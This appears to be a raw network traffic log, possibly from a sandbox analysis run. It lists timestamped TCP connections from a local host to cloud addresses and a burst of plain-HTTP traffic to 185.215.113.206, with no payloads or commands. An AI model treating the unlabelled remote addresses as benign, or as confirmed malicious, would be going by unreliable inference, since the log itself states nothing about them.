Nov 11, 2024 19:52:21.083467007 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.087207079 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.087239981 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.087244987 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.087255001 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.087289095 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.089226961 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.092065096 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.092118979 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.092128992 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.095166922 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.095307112 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.095318079 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.176054001 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.176120043 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.176352024 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.176369905 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.350342989 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.350749016 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.370265961 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.370281935 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.370660067 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.370678902 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.371566057 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.371635914 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.371840000 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.371889114 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.380695105 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.380784035 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.382272959 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.382354975 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.382742882 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.382750034 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.382807970 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.382817030 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.392921925 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.393870115 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.393893003 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.394361019 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.394366026 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.455332994 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.477088928 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.477209091 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.477276087 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.477463007 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.480814934 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.480833054 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.481026888 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.481046915 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.481511116 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:21.481532097 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:21.481841087 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.481903076 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.484857082 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.484935999 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.485205889 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.485214949 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.517497063 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.517571926 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.517795086 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.524431944 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.533508062 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.533523083 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.533535957 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.533540964 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.536154032 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.536178112 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.536715031 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.536720991 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.537584066 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.538682938 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.538691044 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.539246082 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.539251089 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.544620991 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.545475006 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.545489073 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.545881033 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.545885086 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.549189091 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.555708885 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.555725098 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.556102991 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.556107998 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.558710098 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.558725119 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.558795929 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.558934927 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.558947086 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.574613094 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:21.574632883 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:21.574640036 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:21.574645996 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:21.604618073 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.605922937 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.609038115 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.609055042 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.627927065 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.628160954 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.628258944 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.630786896 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.630834103 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.630903959 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.638756990 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.638813019 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.639481068 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.641515017 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.641525030 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.641540051 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.641545057 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.642200947 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.642200947 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.642214060 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.642221928 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.644547939 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.644563913 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.644572020 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.644577026 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.645868063 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.645895958 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.645956993 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.646805048 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.646821976 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.647469044 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.650954008 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.650971889 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.651109934 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.651371002 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.651390076 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.652904034 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.652914047 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.661448956 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.661499977 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.661560059 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.661798954 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.661798954 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.661809921 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.661818027 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.671538115 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.671556950 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.688004971 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.688092947 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.791220903 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.792495012 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.792505980 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.792785883 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.793606997 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.793653011 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.793673992 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.797363997 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.797390938 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.797614098 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.798424959 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.798455000 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.800609112 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.800616980 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.800651073 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.800668001 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.801783085 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.801795959 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.804784060 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:21.810847044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005665064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005676985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005686998 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005789995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.005789995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.005830050 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005878925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005891085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.005940914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.005940914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.006004095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006053925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006062031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.006063938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006076097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006088018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006114960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.006135941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.006474972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.006531000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.010656118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.010674000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.010727882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.010740042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.127608061 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:22.175326109 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:22.232281923 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:22.232693911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232702971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232714891 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232733965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232739925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232744932 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232768059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.232783079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232796907 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232799053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.232853889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232860088 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.232866049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232878923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.232911110 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.232923031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.232994080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233006954 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233016968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233028889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233040094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233052969 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233058929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233058929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233093023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233114958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233134031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233144999 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233155966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233165979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233181000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233194113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233215094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233239889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233239889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233239889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233274937 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233284950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233347893 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:22.233366966 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233427048 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:22.233669043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233688116 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.233720064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.233720064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.234374046 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.237662077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237673044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237752914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.237797022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237865925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237876892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237889051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237946987 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.237960100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238017082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238017082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238017082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238684893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238712072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238722086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238759995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238770008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238781929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238784075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238799095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.238821030 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.238848925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.239388943 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:22.239388943 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:22.239403009 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:22.239412069 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:22.239600897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239613056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239624977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239646912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.239665985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239677906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239690065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.239697933 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.239721060 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.239768028 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.240483999 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240581036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.240611076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240622997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240636110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240643978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240655899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.240663052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.240663052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.240695000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.241359949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241420984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241481066 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.241544008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241554976 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241566896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241578102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.241586924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.241627932 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.241976976 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.241991997 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.242234945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242259026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242264032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242328882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.242356062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242368937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242381096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.242419958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.242419958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.243093967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.243158102 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.243161917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.243172884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.243184090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.243216038 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.243216038 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.245510101 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.245517015 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.324502945 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.325294971 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.325311899 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.325644016 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.325741053 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.325748920 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.326303959 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.326680899 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.326689005 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.327234983 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.327238083 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.327718973 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.327735901 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.328119040 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.328125000 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.328438044 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.328742981 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.328764915 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.329125881 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.329130888 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.335964918 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.336020947 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.336317062 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.336426973 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.336435080 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.336461067 CET	49809	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.336469889 CET	443	49809	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.344755888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344767094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344784975 CET	80	49755	185.215.113.206	192.168.2.5
